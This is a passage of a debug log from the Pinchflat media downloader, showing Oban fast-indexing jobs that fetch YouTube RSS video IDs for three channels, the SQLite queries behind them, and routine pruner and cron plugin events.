source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:01:33.114 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:33.114 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 19:01:33.141 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 19:01:33.141 [debug] QUERY OK source="media_items" db=0.5ms idle=27.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 19:01:33.143 [debug] QUERY OK source="media_items" db=1.8ms idle=28.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 19:01:33.144 [debug] QUERY OK source="tasks" db=0.0ms idle=30.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [756, 3, ~U[2026-07-24 19:01:33Z], ~U[2026-07-24 19:01:33Z]] 19:01:33.144 [info] {"args":{"id":3},"id":753,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":31351,"event":"job:stop","queue_time":396519,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:01:33.145 [debug] QUERY OK source="tasks" db=0.4ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:01:57.491 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.888 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:02:27.492 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:57.493 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.889 [info] {"source":"oban","duration":408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:03:27.494 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:57.495 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.890 [info] {"source":"oban","duration":325,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:04:27.496 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:57.497 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.891 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:05:27.498 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:57.499 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.892 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:06:27.500 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:57.501 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.893 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:07:27.502 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:57.503 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.894 [info] {"source":"oban","duration":323,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:08:27.504 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:57.505 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.895 [info] {"source":"oban","duration":291,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:09:27.506 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:57.507 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.896 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:10:27.508 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:57.509 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.897 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:11:08.725 [info] {"args":{"id":2},"id":754,"meta":{},"system_time":1784920268725210288,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:11:08.725 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1356.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:11:08.725 [debug] QUERY OK source="tasks" db=0.2ms idle=1007.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:11:08.725 [debug] QUERY OK source="settings" db=0.2ms idle=356.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:08.725 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:11:08.726 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:11:08.726 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:08.726 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 19:11:08.979 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 19:11:08.980 [debug] QUERY OK source="media_items" db=0.2ms idle=254.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 19:11:08.981 [debug] QUERY OK source="media_items" db=0.2ms idle=254.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 19:11:08.981 [debug] QUERY OK source="tasks" db=0.0ms idle=255.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [757, 2, ~U[2026-07-24 19:11:08Z], ~U[2026-07-24 19:11:08Z]] 19:11:08.981 [info] {"args":{"id":2},"id":754,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":256571,"event":"job:stop","queue_time":518501,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:11:08.982 [debug] QUERY OK source="tasks" db=0.1ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:11:18.923 [info] {"args":{"id":1},"id":755,"meta":{},"system_time":1784920278923891130,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:11:18.924 [debug] QUERY OK source="sources" db=0.2ms idle=555.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:11:18.924 [debug] QUERY OK source="tasks" db=0.2ms idle=555.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:11:18.924 [debug] QUERY OK source="settings" db=0.1ms idle=555.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:18.924 [debug] QUERY OK source="sources" db=0.1ms idle=195.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:11:18.924 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:11:18.924 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:18.924 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 19:11:19.120 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 19:11:19.121 [debug] QUERY OK source="media_items" db=0.4ms idle=196.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 19:11:19.123 [debug] QUERY OK source="media_items" db=2.2ms idle=196.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:11:19.190 [debug] QUERY OK source="tasks" db=0.0ms idle=265.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [758, 1, ~U[2026-07-24 19:11:19Z], ~U[2026-07-24 19:11:19Z]] 19:11:19.191 [info] {"args":{"id":1},"id":755,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":267006,"event":"job:stop","queue_time":594184,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:11:19.191 [debug] QUERY OK source="tasks" db=0.4ms idle=67.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:11:27.510 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:33.753 [info] {"args":{"id":3},"id":756,"meta":{},"system_time":1784920293753093861,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 19:11:33.753 [debug] QUERY OK source="sources" db=0.0ms idle=1384.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:11:33.753 [debug] QUERY OK source="tasks" db=0.4ms idle=1008.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:11:33.753 [debug] QUERY OK source="settings" db=0.3ms idle=384.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:33.754 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:11:33.754 [debug] QUERY OK source="sources" db=0.2ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:11:33.754 [debug] QUERY OK source="settings" 